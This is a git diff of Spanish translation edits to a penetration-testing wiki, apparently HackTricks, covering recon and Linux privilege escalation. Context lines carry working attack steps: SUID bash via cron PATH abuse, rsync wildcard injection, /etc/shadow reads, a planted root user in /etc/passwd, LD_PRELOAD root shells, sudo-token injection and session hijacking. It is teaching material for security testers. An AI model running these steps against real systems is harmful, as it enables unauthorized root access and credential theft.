-Para llevar a cabo la idea propuesta, puedes usar [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) o [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
+Para llevar a cabo la idea propuesta puedes usar [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) o [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
Además, podrías usar [**eyeballer**](https://github.com/BishopFox/eyeballer) para revisar todas las **capturas de pantalla** y decirte **qué es probable que contenga vulnerabilidades**, y qué no.
@@ -512,13 +512,13 @@ También necesitarás listas de palabras de **palabras comunes utilizadas en buc
Luego, con esas palabras deberías generar **permutaciones** (consulta el [**Segundo Ronda de Fuerza Bruta DNS**](#second-dns-bruteforce-round) para más información).
-Con las listas de palabras resultantes, podrías usar herramientas como [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **o** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
+Con las listas de palabras resultantes podrías usar herramientas como [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **o** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
Recuerda que al buscar Activos en la Nube debes **buscar más que solo buckets en AWS**.
### **Buscando vulnerabilidades**
-Si encuentras cosas como **buckets abiertos o funciones de nube expuestas**, debes **acceder a ellas** y tratar de ver qué te ofrecen y si puedes abusar de ellas.
+Si encuentras cosas como **buckets abiertos o funciones de nube expuestas** debes **acceder a ellas** y tratar de ver qué te ofrecen y si puedes abusar de ellas.
## Correos Electrónicos
@@ -580,7 +580,7 @@ Si encuentras credenciales o tokens de API **filtrados válidos**, esto es una v
## Vulnerabilidades de Código Público
-Si descubriste que la empresa tiene **código de código abierto**, puedes **analizarlo** y buscar **vulnerabilidades** en él.
+Si descubriste que la empresa tiene **código de código abierto** puedes **analizarlo** y buscar **vulnerabilidades** en él.
**Dependiendo del lenguaje**, hay diferentes **herramientas** que puedes usar:
@@ -605,12 +605,12 @@ También quiero hacer una mención especial a la sección [**Herramientas de esc
Así que ya has:
1. Encontrado todas las **empresas** dentro del alcance
-2. Encontrado todos los **activos** pertenecientes a las empresas (y realizado algún escaneo de vulnerabilidades si está en el alcance)
-3. Encontrado todos los **dominios** pertenecientes a las empresas
+2. Encontrado todos los **activos** que pertenecen a las empresas (y realizado algún escaneo de vulnerabilidades si está en el alcance)
+3. Encontrado todos los **dominios** que pertenecen a las empresas
4. Encontrado todos los **subdominios** de los dominios (¿alguna toma de subdominio?)
5. Encontrado todas las **IPs** (de y **no de CDNs**) dentro del alcance.
6. Encontrado todos los **servidores web** y tomado una **captura de pantalla** de ellos (¿algo extraño que valga la pena investigar más a fondo?)
-7. Encontrado todos los **activos potenciales de nube pública** pertenecientes a la empresa.
+7. Encontrado todos los **activos potenciales de nube pública** que pertenecen a la empresa.
8. **Correos electrónicos**, **filtraciones de credenciales** y **filtraciones de secretos** que podrían darte una **gran victoria muy fácilmente**.
9. **Pentesting todas las webs que encontraste**
diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md
index ac628846c..77cf9edf3 100644
--- a/src/linux-hardening/privilege-escalation/README.md
+++ b/src/linux-hardening/privilege-escalation/README.md
@@ -6,7 +6,7 @@
### Información del SO
-Comencemos a obtener algo de conocimiento sobre el SO en ejecución
+Comencemos a obtener información sobre el SO en ejecución
```bash
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
@@ -45,7 +45,7 @@ Las herramientas que podrían ayudar a buscar exploits del kernel son:
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (ejecutar EN la víctima, solo verifica exploits para el kernel 2.x)
-Siempre **busca la versión del kernel en Google**, tal vez tu versión del kernel esté escrita en algún exploit del kernel y así te asegurarás de que este exploit sea válido.
+Siempre **busca la versión del kernel en Google**, tal vez tu versión del kernel esté escrita en algún exploit del kernel y así estarás seguro de que este exploit es válido.
### CVE-2016-5195 (DirtyCow)
@@ -148,7 +148,7 @@ También, verifica si **algún compilador está instalado**. Esto es útil si ne
```bash
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
```
-### Software vulnerable instalado
+### Software Vulnerable Instalado
Verifique la **versión de los paquetes y servicios instalados**. Puede que haya alguna versión antigua de Nagios (por ejemplo) que podría ser explotada para escalar privilegios…\
Se recomienda verificar manualmente la versión del software instalado más sospechoso.
@@ -160,7 +160,7 @@ Si tienes acceso SSH a la máquina, también podrías usar **openVAS** para veri
> [!NOTE] > _Ten en cuenta que estos comandos mostrarán mucha información que en su mayoría será inútil, por lo tanto, se recomienda algunas aplicaciones como OpenVAS o similares que verificarán si alguna versión de software instalada es vulnerable a exploits conocidos._
-## Processes
+## Procesos
Echa un vistazo a **qué procesos** se están ejecutando y verifica si algún proceso tiene **más privilegios de los que debería** (¿quizás un tomcat ejecutado por root?)
```bash
@@ -189,7 +189,7 @@ Sin embargo, recuerda que **como usuario regular puedes leer la memoria de los p
> - **kernel.yama.ptrace_scope = 0**: todos los procesos pueden ser depurados, siempre que tengan el mismo uid. Esta es la forma clásica en que funcionaba el ptracing.
> - **kernel.yama.ptrace_scope = 1**: solo un proceso padre puede ser depurado.
> - **kernel.yama.ptrace_scope = 2**: solo el administrador puede usar ptrace, ya que requiere la capacidad CAP_SYS_PTRACE.
-> - **kernel.yama.ptrace_scope = 3**: No se pueden rastrear procesos con ptrace. Una vez establecido, se necesita un reinicio para habilitar nuevamente el ptracing.
+> - **kernel.yama.ptrace_scope = 3**: Ningún proceso puede ser rastreado con ptrace. Una vez establecido, se necesita un reinicio para habilitar el ptracing nuevamente.
#### GDB
@@ -266,7 +266,7 @@ Press Ctrl-C to end monitoring without terminating the process.
```
### Herramientas
-Para volcar la memoria de un proceso, puedes usar:
+Para volcar la memoria de un proceso, podrías usar:
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Puedes eliminar manualmente los requisitos de root y volcar el proceso que te pertenece
@@ -296,7 +296,7 @@ La herramienta [**https://github.com/huntergregal/mimipenguin**](https://github.
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (Conexiones FTP Activas) | vsftpd |
-| Apache2 (Sesiones HTTP Básicas Activas) | apache2 |
+| Apache2 (Sesiones Activas de Autenticación HTTP Básica) | apache2 |
| OpenSSH (Sesiones SSH Activas - Uso de Sudo) | sshd: |
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
@@ -315,19 +315,19 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
```
## Scheduled/Cron jobs
-Verifica si algún trabajo programado es vulnerable. Tal vez puedas aprovechar un script que se ejecute como root (¿vulnerabilidad de comodín? ¿puede modificar archivos que usa root? ¿usar enlaces simbólicos? ¿crear archivos específicos en el directorio que usa root?).
+Verifica si algún trabajo programado es vulnerable. Tal vez puedas aprovechar un script que está siendo ejecutado por root (¿vulnerabilidad de comodín? ¿puede modificar archivos que usa root? ¿usar enlaces simbólicos? ¿crear archivos específicos en el directorio que usa root?).
```bash
crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
```
-### Cron path
+### Ruta de Cron
-Por ejemplo, dentro de _/etc/crontab_ puedes encontrar el PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
+Por ejemplo, dentro de _/etc/crontab_ puedes encontrar la RUTA: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
(_Nota cómo el usuario "user" tiene privilegios de escritura sobre /home/user_)
-Si dentro de este crontab el usuario root intenta ejecutar algún comando o script sin establecer el path. Por ejemplo: _\* \* \* \* root overwrite.sh_\
+Si dentro de este crontab el usuario root intenta ejecutar algún comando o script sin establecer la ruta. Por ejemplo: _\* \* \* \* root overwrite.sh_\
Entonces, puedes obtener un shell de root usando:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
@@ -336,7 +336,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
```
### Cron usando un script con un comodín (Inyección de Comodín)
-Si un script ejecutado por root tiene un “**\***” dentro de un comando, podrías explotarlo para hacer cosas inesperadas (como privesc). Ejemplo:
+Si un script ejecutado por root tiene un “**\***” dentro de un comando, podrías explotar esto para hacer cosas inesperadas (como privesc). Ejemplo:
```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
@@ -385,7 +385,7 @@ Por ejemplo, crea tu puerta trasera dentro del archivo .service con **`ExecStart
### Binarios de servicio escribibles
-Ten en cuenta que si tienes **permisos de escritura sobre los binarios que son ejecutados por los servicios**, puedes cambiarlos por puertas traseras para que cuando los servicios se vuelvan a ejecutar, las puertas traseras sean ejecutadas.
+Ten en cuenta que si tienes **permisos de escritura sobre binarios que son ejecutados por servicios**, puedes cambiarlos por puertas traseras para que cuando los servicios se vuelvan a ejecutar, las puertas traseras sean ejecutadas.
### PATH de systemd - Rutas relativas
@@ -405,7 +405,7 @@ Luego, crea un **ejecutable** con el **mismo nombre que la ruta relativa del bin
## **Temporizadores**
-Los **Temporizadores** son archivos de unidad de systemd cuyo nombre termina en `**.timer**` que controlan archivos o eventos de `**.service**`. Los **Temporizadores** se pueden usar como una alternativa a cron, ya que tienen soporte incorporado para eventos de tiempo calendario y eventos de tiempo monótono y se pueden ejecutar de forma asíncrona.
+**Temporizadores** son archivos de unidad de systemd cuyo nombre termina en `**.timer**` que controlan archivos o eventos `**.service**`. **Temporizadores** se pueden usar como una alternativa a cron, ya que tienen soporte incorporado para eventos de tiempo calendario y eventos de tiempo monótono y se pueden ejecutar de forma asíncrona.
Puedes enumerar todos los temporizadores con:
```bash
@@ -453,8 +453,8 @@ Los sockets se pueden configurar utilizando archivos `.socket`.
### Archivos .socket escribibles
-Si encuentras un archivo `.socket` **escribible**, puedes **agregar** al principio de la sección `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` y el backdoor se ejecutará antes de que se cree el socket. Por lo tanto, **probablemente necesitarás esperar hasta que la máquina se reinicie.**\
-_Note que el sistema debe estar utilizando esa configuración de archivo de socket o el backdoor no se ejecutará_
+Si encuentras un archivo `.socket` **escribible**, puedes **agregar** al principio de la sección `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` y la puerta trasera se ejecutará antes de que se cree el socket. Por lo tanto, **probablemente necesitarás esperar hasta que la máquina se reinicie.**\
+_Ten en cuenta que el sistema debe estar utilizando esa configuración de archivo de socket o la puerta trasera no se ejecutará_
### Sockets escribibles
@@ -564,9 +564,9 @@ runc-privilege-escalation.md
D-Bus es un sofisticado **sistema de Comunicación entre Procesos (IPC)** que permite a las aplicaciones interactuar y compartir datos de manera eficiente. Diseñado con el sistema Linux moderno en mente, ofrece un marco robusto para diferentes formas de comunicación entre aplicaciones.
-El sistema es versátil, soportando IPC básico que mejora el intercambio de datos entre procesos, reminiscentes de **sockets de dominio UNIX mejorados**. Además, ayuda a transmitir eventos o señales, fomentando una integración fluida entre los componentes del sistema. Por ejemplo, una señal de un demonio Bluetooth sobre una llamada entrante puede hacer que un reproductor de música se silencie, mejorando la experiencia del usuario. Adicionalmente, D-Bus soporta un sistema de objetos remotos, simplificando solicitudes de servicio e invocaciones de métodos entre aplicaciones, agilizando procesos que tradicionalmente eran complejos.
+El sistema es versátil, soportando IPC básico que mejora el intercambio de datos entre procesos, reminiscentes de **sockets de dominio UNIX mejorados**. Además, ayuda en la transmisión de eventos o señales, fomentando una integración fluida entre los componentes del sistema. Por ejemplo, una señal de un demonio Bluetooth sobre una llamada entrante puede hacer que un reproductor de música se silencie, mejorando la experiencia del usuario. Adicionalmente, D-Bus soporta un sistema de objetos remotos, simplificando solicitudes de servicio e invocaciones de métodos entre aplicaciones, agilizando procesos que tradicionalmente eran complejos.
-D-Bus opera bajo un modelo de **permitir/denegar**, gestionando permisos de mensajes (llamadas a métodos, emisiones de señales, etc.) basados en el efecto acumulativo de las reglas de política coincidentes. Estas políticas especifican interacciones con el bus, permitiendo potencialmente la escalación de privilegios a través de la explotación de estos permisos.
+D-Bus opera bajo un **modelo de permitir/denegar**, gestionando permisos de mensajes (llamadas a métodos, emisiones de señales, etc.) basados en el efecto acumulativo de las reglas de política que coinciden. Estas políticas especifican interacciones con el bus, permitiendo potencialmente la escalación de privilegios a través de la explotación de estos permisos.
Se proporciona un ejemplo de tal política en `/etc/dbus-1/system.d/wpa_supplicant.conf`, detallando permisos para que el usuario root posea, envíe y reciba mensajes de `fi.w1.wpa_supplicant1`.
@@ -621,7 +621,7 @@ Siempre verifica los servicios de red que se están ejecutando en la máquina co
```
### Sniffing
-Verifica si puedes esnifar tráfico. Si puedes, podrías ser capaz de capturar algunas credenciales.
+Verifica si puedes interceptar tráfico. Si puedes, podrías ser capaz de obtener algunas credenciales.
```
timeout 1 tcpdump
```
@@ -653,7 +653,7 @@ gpg --list-keys 2>/dev/null
```
### Big UID
-Algunas versiones de Linux fueron afectadas por un error que permite a los usuarios con **UID > INT_MAX** escalar privilegios. Más información: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) y [here](https://twitter.com/paragonsec/status/1071152249529884674).\
+Algunas versiones de Linux fueron afectadas por un error que permite a los usuarios con **UID > INT_MAX** escalar privilegios. Más información: [aquí](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [aquí](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) y [aquí](https://twitter.com/paragonsec/status/1071152249529884674).\
**Explotarlo** usando: **`systemd-run -t /bin/bash`**
### Groups
@@ -763,7 +763,7 @@ export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
```
-Esta técnica también se puede utilizar si un **suid** binario **ejecuta otro comando sin especificar la ruta a este (siempre verifica con** _**strings**_ **el contenido de un extraño binario SUID)**.
+Esta técnica también se puede utilizar si un **suid** binario **ejecuta otro comando sin especificar la ruta a este (siempre verifica con** _**strings**_ **el contenido de un binario SUID extraño)**.
[Ejemplos de payloads para ejecutar.](payloads-to-execute.md)
@@ -787,11 +787,11 @@ Sin embargo, para mantener la seguridad del sistema y prevenir que esta caracter
- El cargador ignora **LD_PRELOAD** para ejecutables donde el ID de usuario real (_ruid_) no coincide con el ID de usuario efectivo (_euid_).
- Para ejecutables con suid/sgid, solo se precargan bibliotecas en rutas estándar que también son suid/sgid.
-La escalada de privilegios puede ocurrir si tienes la capacidad de ejecutar comandos con `sudo` y la salida de `sudo -l` incluye la declaración **env_keep+=LD_PRELOAD**. Esta configuración permite que la variable de entorno **LD_PRELOAD** persista y sea reconocida incluso cuando se ejecutan comandos con `sudo`, lo que potencialmente puede llevar a la ejecución de código arbitrario con privilegios elevados.
+La escalada de privilegios puede ocurrir si tienes la capacidad de ejecutar comandos con `sudo` y la salida de `sudo -l` incluye la declaración **env_keep+=LD_PRELOAD**. Esta configuración permite que la variable de entorno **LD_PRELOAD** persista y sea reconocida incluso cuando se ejecutan comandos con `sudo`, lo que potencialmente lleva a la ejecución de código arbitrario con privilegios elevados.
```
Defaults env_keep += LD_PRELOAD
```
-Guarda como **/tmp/pe.c**
+Guardar como **/tmp/pe.c**
```c
#include
#include
@@ -884,7 +884,7 @@ setresuid(0,0,0);
system("/bin/bash -p");
}
```
-Si recibes un error como
+Si obtienes un error como
```shell-session
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
```
@@ -928,7 +928,7 @@ Requisitos para escalar privilegios:
Si se cumplen todos estos requisitos, **puedes escalar privilegios usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
-- La **primera explotación** (`exploit.sh`) creará el binario `activate_sudo_token` en _/tmp_. Puedes usarlo para **activar el token de sudo en tu sesión** (no obtendrás automáticamente un shell root, haz `sudo su`):
+- El **primer exploit** (`exploit.sh`) creará el binario `activate_sudo_token` en _/tmp_. Puedes usarlo para **activar el token de sudo en tu sesión** (no obtendrás automáticamente un shell root, haz `sudo su`):
```bash
bash exploit.sh
/tmp/activate_sudo_token
@@ -1075,14 +1075,14 @@ setfacl -b file.txt #Remove the ACL of the file
```bash
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
```
-## Open shell sessions
+## Abrir sesiones de shell
En **versiones antiguas** puedes **secuestrar** algunas sesiones de **shell** de un usuario diferente (**root**).\
En **versiones más recientes** solo podrás **conectarte** a sesiones de pantalla de **tu propio usuario**. Sin embargo, podrías encontrar **información interesante dentro de la sesión**.
-### screen sessions hijacking
+### Secuestro de sesiones de pantalla
-**List screen sessions**
+**Listar sesiones de pantalla**
```bash
screen -ls
screen -ls / # Show another user' screen sessions
@@ -1095,11 +1095,11 @@ screen -dr #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]
```
-## secuestro de sesiones de tmux
+## Secuestro de sesiones tmux
Este era un problema con **versiones antiguas de tmux**. No pude secuestrar una sesión de tmux (v2.1) creada por root como un usuario no privilegiado.
-**Listar sesiones de tmux**
+**Listar sesiones tmux**
```bash
tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
@@ -1138,7 +1138,7 @@ Especifica si el root puede iniciar sesión usando ssh, el valor predeterminado
- `yes`: el root puede iniciar sesión usando contraseña y clave privada
- `without-password` o `prohibit-password`: el root solo puede iniciar sesión con una clave privada
-- `forced-commands-only`: el root solo puede iniciar sesión usando clave privada y si se especifican las opciones de comandos
+- `forced-commands-only`: el root puede iniciar sesión solo usando clave privada y si se especifican las opciones de comandos
- `no` : no
### AuthorizedKeysFile
@@ -1151,7 +1151,7 @@ Esa configuración indicará que si intentas iniciar sesión con la **clave priv
### ForwardAgent/AllowAgentForwarding
-El reenvío de agente SSH te permite **usar tus claves SSH locales en lugar de dejar claves** (¡sin frases de contraseña!) en tu servidor. Así, podrás **saltar** a través de ssh **a un host** y desde allí **saltar a otro** host **usando** la **clave** ubicada en tu **host inicial**.
+El reenvío del agente SSH te permite **usar tus claves SSH locales en lugar de dejar claves** (¡sin frases de contraseña!) en tu servidor. Así, podrás **saltar** a través de ssh **a un host** y desde allí **saltar a otro** host **usando** la **clave** ubicada en tu **host inicial**.
Necesitas establecer esta opción en `$HOME/.ssh.config` así:
```
@@ -1188,7 +1188,7 @@ cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
```
-En algunas ocasiones, puedes encontrar **password hashes** dentro del archivo `/etc/passwd` (o equivalente).
+En algunas ocasiones puedes encontrar **password hashes** dentro del archivo `/etc/passwd` (o equivalente)
```bash
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
```
@@ -1200,11 +1200,11 @@ openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
```
-Luego agrega el usuario `hacker` y añade la contraseña generada.
+Luego agrega el usuario `hacker` y agrega la contraseña generada.
```
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
```
-E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
+Ejemplo: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
Ahora puedes usar el comando `su` con `hacker:hacker`
@@ -1235,7 +1235,7 @@ Las siguientes carpetas pueden contener copias de seguridad o información inter
```bash
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
```
-### Archivos de ubicación extraña/propietarios
+### Archivos en ubicaciones extrañas/propietarios
```bash
#root owned files in /home folders
find /home -user root 2>/dev/null
@@ -1319,7 +1319,7 @@ No voy a listar aquí cómo hacer todo esto, pero si estás interesado, puedes r
### Secuestro de bibliotecas de Python
-Si sabes de **dónde** se va a ejecutar un script de python y **puedes escribir dentro** de esa carpeta o puedes **modificar bibliotecas de python**, puedes modificar la biblioteca OS y ponerle un backdoor (si puedes escribir donde se va a ejecutar el script de python, copia y pega la biblioteca os.py).
+Si sabes de **dónde** se va a ejecutar un script de python y **puedes escribir dentro** de esa carpeta o **modificar bibliotecas de python**, puedes modificar la biblioteca OS y ponerle un backdoor (si puedes escribir donde se va a ejecutar el script de python, copia y pega la biblioteca os.py).
Para **poner un backdoor en la biblioteca**, solo agrega al final de la biblioteca os.py la siguiente línea (cambia IP y PUERTO):
```python
@@ -1346,7 +1346,7 @@ Si, por cualquier motivo, un usuario puede **escribir** un script `ifcf-
@@ -38,7 +38,7 @@ Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a
1. **Explicación del Problema**:
-- El núcleo de Linux permite a un proceso crear nuevos espacios de nombres utilizando la llamada al sistema `unshare`. Sin embargo, el proceso que inicia la creación de un nuevo espacio de nombres de PID (denominado "proceso unshare") no entra en el nuevo espacio de nombres; solo lo hacen sus procesos hijos.
+- El núcleo de Linux permite a un proceso crear nuevos espacios de nombres utilizando la llamada al sistema `unshare`. Sin embargo, el proceso que inicia la creación de un nuevo espacio de nombres de PID (denominado proceso "unshare") no entra en el nuevo espacio de nombres; solo lo hacen sus procesos hijos.
- Ejecutar `%unshare -p /bin/bash%` inicia `/bin/bash` en el mismo proceso que `unshare`. En consecuencia, `/bin/bash` y sus procesos hijos están en el espacio de nombres de PID original.
- El primer proceso hijo de `/bin/bash` en el nuevo espacio de nombres se convierte en PID 1. Cuando este proceso sale, desencadena la limpieza del espacio de nombres si no hay otros procesos, ya que PID 1 tiene el papel especial de adoptar procesos huérfanos. El núcleo de Linux deshabilitará entonces la asignación de PID en ese espacio de nombres.
@@ -58,7 +58,7 @@ Al asegurarte de que `unshare` se ejecute con la bandera `-f`, el nuevo espacio
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Verifica en qué namespace está tu proceso
+### Verifica en qué namespace está tu proceso
```bash
ls -l /proc/self/ns/cgroup
lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]'
@@ -73,7 +73,7 @@ sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null
```bash
nsenter -C TARGET_PID --pid /bin/bash
```
-Además, solo puedes **entrar en otro espacio de nombres de proceso si eres root**. Y **no puedes** **entrar** en otro espacio de nombres **sin un descriptor** que apunte a él (como `/proc/self/ns/cgroup`).
+También, solo puedes **entrar en otro espacio de nombres de proceso si eres root**. Y **no puedes** **entrar** en otro espacio de nombres **sin un descriptor** que apunte a él (como `/proc/self/ns/cgroup`).
## Referencias
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md
index e20c268ea..b5487ce20 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md
@@ -4,13 +4,13 @@
## Información Básica
-Un namespace IPC (Comunicación entre Procesos) es una característica del núcleo de Linux que proporciona **aislamiento** de objetos IPC de System V, como colas de mensajes, segmentos de memoria compartida y semáforos. Este aislamiento asegura que los procesos en **diferentes namespaces IPC no pueden acceder ni modificar directamente los objetos IPC de los demás**, proporcionando una capa adicional de seguridad y privacidad entre grupos de procesos.
+Un namespace IPC (Inter-Process Communication) es una característica del kernel de Linux que proporciona **aislamiento** de objetos IPC de System V, como colas de mensajes, segmentos de memoria compartida y semáforos. Este aislamiento asegura que los procesos en **diferentes namespaces IPC no pueden acceder ni modificar directamente los objetos IPC de otros**, proporcionando una capa adicional de seguridad y privacidad entre grupos de procesos.
### Cómo funciona:
1. Cuando se crea un nuevo namespace IPC, comienza con un **conjunto completamente aislado de objetos IPC de System V**. Esto significa que los procesos que se ejecutan en el nuevo namespace IPC no pueden acceder ni interferir con los objetos IPC en otros namespaces o en el sistema host por defecto.
-2. Los objetos IPC creados dentro de un namespace son visibles y **accesibles solo para los procesos dentro de ese namespace**. Cada objeto IPC se identifica mediante una clave única dentro de su namespace. Aunque la clave puede ser idéntica en diferentes namespaces, los objetos en sí están aislados y no pueden ser accedidos entre namespaces.
-3. Los procesos pueden moverse entre namespaces utilizando la llamada al sistema `setns()` o crear nuevos namespaces utilizando las llamadas al sistema `unshare()` o `clone()` con la bandera `CLONE_NEWIPC`. Cuando un proceso se mueve a un nuevo namespace o crea uno, comenzará a utilizar los objetos IPC asociados con ese namespace.
+2. Los objetos IPC creados dentro de un namespace son visibles y **accesibles solo para los procesos dentro de ese namespace**. Cada objeto IPC se identifica por una clave única dentro de su namespace. Aunque la clave puede ser idéntica en diferentes namespaces, los objetos en sí están aislados y no pueden ser accedidos entre namespaces.
+3. Los procesos pueden moverse entre namespaces utilizando la llamada al sistema `setns()` o crear nuevos namespaces utilizando las llamadas al sistema `unshare()` o `clone()` con la bandera `CLONE_NEWIPC`. Cuando un proceso se mueve a un nuevo namespace o crea uno, comenzará a usar los objetos IPC asociados con ese namespace.
## Laboratorio:
@@ -20,7 +20,7 @@ Un namespace IPC (Comunicación entre Procesos) es una característica del núcl
```bash
sudo unshare -i [--mount-proc] /bin/bash
```
-Al montar una nueva instancia del sistema de archivos `/proc` si usas el parámetro `--mount-proc`, aseguras que el nuevo espacio de montaje tenga una **vista precisa y aislada de la información del proceso específica para ese espacio de nombres**.
+Al montar una nueva instancia del sistema de archivos `/proc` si usas el parámetro `--mount-proc`, aseguras que el nuevo espacio de montaje tenga una **vista precisa y aislada de la información del proceso específica de ese espacio de nombres**.
@@ -32,15 +32,15 @@ Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a
- El núcleo de Linux permite a un proceso crear nuevos espacios de nombres utilizando la llamada al sistema `unshare`. Sin embargo, el proceso que inicia la creación de un nuevo espacio de nombres de PID (denominado proceso "unshare") no entra en el nuevo espacio de nombres; solo lo hacen sus procesos hijos.
- Ejecutar `%unshare -p /bin/bash%` inicia `/bin/bash` en el mismo proceso que `unshare`. En consecuencia, `/bin/bash` y sus procesos hijos están en el espacio de nombres de PID original.
-- El primer proceso hijo de `/bin/bash` en el nuevo espacio de nombres se convierte en PID 1. Cuando este proceso sale, desencadena la limpieza del espacio de nombres si no hay otros procesos, ya que PID 1 tiene el papel especial de adoptar procesos huérfanos. El núcleo de Linux desactivará entonces la asignación de PID en ese espacio de nombres.
+- El primer proceso hijo de `/bin/bash` en el nuevo espacio de nombres se convierte en PID 1. Cuando este proceso sale, desencadena la limpieza del espacio de nombres si no hay otros procesos, ya que PID 1 tiene el papel especial de adoptar procesos huérfanos. El núcleo de Linux deshabilitará entonces la asignación de PID en ese espacio de nombres.
2. **Consecuencia**:
-- La salida de PID 1 en un nuevo espacio de nombres lleva a la limpieza de la bandera `PIDNS_HASH_ADDING`. Esto resulta en que la función `alloc_pid` no puede asignar un nuevo PID al crear un nuevo proceso, produciendo el error "Cannot allocate memory".
+- La salida de PID 1 en un nuevo espacio de nombres lleva a la limpieza de la bandera `PIDNS_HASH_ADDING`. Esto resulta en que la función `alloc_pid` falle al intentar asignar un nuevo PID al crear un nuevo proceso, produciendo el error "Cannot allocate memory".
3. **Solución**:
- El problema se puede resolver utilizando la opción `-f` con `unshare`. Esta opción hace que `unshare` cree un nuevo proceso después de crear el nuevo espacio de nombres de PID.
-- Ejecutar `%unshare -fp /bin/bash%` asegura que el comando `unshare` mismo se convierta en PID 1 en el nuevo espacio de nombres. `/bin/bash` y sus procesos hijos están entonces contenidos de manera segura dentro de este nuevo espacio de nombres, previniendo la salida prematura de PID 1 y permitiendo la asignación normal de PID.
+- Ejecutar `%unshare -fp /bin/bash%` asegura que el comando `unshare` se convierta en PID 1 en el nuevo espacio de nombres. `/bin/bash` y sus procesos hijos están entonces contenidos de manera segura dentro de este nuevo espacio de nombres, previniendo la salida prematura de PID 1 y permitiendo la asignación normal de PID.
